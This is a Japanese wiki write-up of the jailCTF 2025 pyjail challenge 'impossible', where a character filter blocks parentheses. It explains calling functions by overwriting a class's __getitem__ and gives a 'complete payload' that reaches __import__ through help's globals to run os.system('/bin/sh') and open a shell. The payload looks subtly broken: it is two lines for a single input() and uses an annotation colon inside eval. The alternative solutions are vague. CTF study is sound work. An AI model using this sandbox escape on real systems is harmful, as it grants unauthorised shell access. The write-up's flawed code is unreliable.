pyjail wiki

jailCTF 2025 - impossible

Challenge

入力が厳しくフィルタリングされた pyjail。

import re
code = input()
# 許可: 小文字、コロン、アンダースコア、ドット、角括弧、ダブルクォート
if not re.match(r'^[a-z_:\.\[\]"]+$', code):
print("Invalid!")
exit()
eval(code)

括弧 () が使えないため、通常の関数呼び出しができない。

Solution

__getitem__ による関数呼び出し

__getitem__ メソッドに呼び出したい関数を代入し、[] 構文で呼び出す:

# help クラスの __getitem__ を使用
help.__class__.__getitem__ = target_function
help["argument"] # target_function("argument") と等価

license オブジェクトの活用

# license から __import__ を構築
license.__class__.__getitem__ = license._Printer__setup.__globals__.__getitem__
# ...

完全なペイロード

help.__class__.__getitem__:help.__class__.__repr__.__globals__.__getitem__
help["__builtins__"].__getitem__["__import__"]["os"].system["/bin/sh"]

Technical Details

__getitem__ の仕組み

# obj[key] は内部的に
type(obj).__getitem__(obj, key)
# を呼び出す
# クラスの __getitem__ を上書きすると
class Evil:
pass
Evil.__getitem__ = print
e = Evil()
e["hello"] # print(e, "hello") が呼ばれる

利用可能なオブジェクト

オブジェクト用途
help_Helper クラス、__globals__ あり
license_Printer クラス、ファイル読み込み機能
credits同上
copyright同上

Alternative Solutions

別解1: __class_getitem__

# 型パラメータ構文を悪用
list[some_function]

別解2: デコレータ風

# @ は使えないが、メタクラスで同様の効果

Flag

jail{...}

References